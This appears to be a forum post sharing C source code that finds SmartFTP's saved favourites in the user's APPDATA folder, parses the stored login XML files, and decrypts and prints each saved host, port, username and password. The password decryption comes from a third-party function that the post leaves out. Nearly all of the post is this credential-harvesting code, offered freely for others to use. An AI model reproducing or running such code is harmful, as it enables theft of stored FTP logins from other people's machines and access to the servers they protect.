Here is some work I have done for SmartFTP, the decryption I used was Luigi's function so I left it out, but you can get it for free from the main site. The below code will automatically get all the stored logins (HOST/PORT, USERNAME, PASSWORD), recursively:
Code:
void SmartFTPDecryptDataForThisMachine(VOID)
{
char *szAppData = getenv("APPDATA");
strcat(szAppData, "\\SmartFTP\\Client 2.0\\Favorites");
WIN32_FIND_DATA w32FD;
char szDirPath[MAX_PATH];
char szTempPath[MAX_PATH];
HANDLE hFind = INVALID_HANDLE_VALUE;
strcpy(szDirPath, szAppData);
strcat(szAppData, "\\*");
hFind = FindFirstFile(szAppData, &w32FD);
if (hFind == INVALID_HANDLE_VALUE) {
printf("\nhFind == INVALID_HANDLE_VALUE\n");
exit(1);
}
do
{
if (w32FD.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
if(strcmp(w32FD.cFileName, ".") != 0 && strcmp(w32FD.cFileName, "..") != 0) {
sprintf(szTempPath, "%s\\%s", szDirPath, w32FD.cFileName);
DecryptStoredSmartFtpDir(szTempPath);
}
}
else {
if (strstr(w32FD.cFileName, ".xml")) {
sprintf(szTempPath, "%s\\%s", szDirPath, w32FD.cFileName);
DecryptStoredSmartFtpLogin(szTempPath);
}
}
}
while (FindNextFile(hFind, &w32FD) != 0);
FindClose(hFind);
}
void DecryptStoredSmartFtpDir( char szDirPath[MAX_PATH] )
{
WIN32_FIND_DATA w32FD;
char szDir[MAX_PATH];
HANDLE hFind = INVALID_HANDLE_VALUE;
strcpy(szDir, szDirPath);
strcat(szDir, "\\*");
hFind = FindFirstFile(szDir, &w32FD);
if (hFind == INVALID_HANDLE_VALUE) {
printf("\nhFind2 == INVALID_HANDLE_VALUE\n");
exit(1);
}
do
{
if (strstr(w32FD.cFileName, ".xml")) {
char szTempPath[MAX_PATH];
sprintf(szTempPath, "%s\\%s", szDirPath, w32FD.cFileName);
DecryptStoredSmartFtpLogin(szTempPath);
}
}
while (FindNextFile(hFind, &w32FD) != 0);
FindClose(hFind);
}
void DecryptStoredSmartFtpLogin( char szFilePath[MAX_PATH] )
{
char lpBuffer[1024];
char *delim = "<>";
char **tokens = NULL;
char line[MAXLINE];
int i = 0, lcount = 0;
FILE *hVDF = fopen(szFilePath,"r");
if(!hVDF) exit(-1);
while(fgets(line, MAXLINE, hVDF) != NULL)
{
lcount++;
if(strlen(line) < MINLEN)
continue;
tokens = split(line, delim);
if (lcount == 3) {
uint8_t *pwd2 = tokens[20];
if(strstr(tokens[11], "/Host") || strstr(tokens[17], "/User")) break;
if(!smartftp_pwd(pwd2)) {
printf("Addr: %s:%s\nUser: %s\nPass: %s\n\n", tokens[11], tokens[14], tokens[17], (void *)pwd2);
}
}
for(i = 0; tokens[i] != NULL; i++)
free(tokens[i]);
free(tokens);
}
}
maybe it will help you, enjoy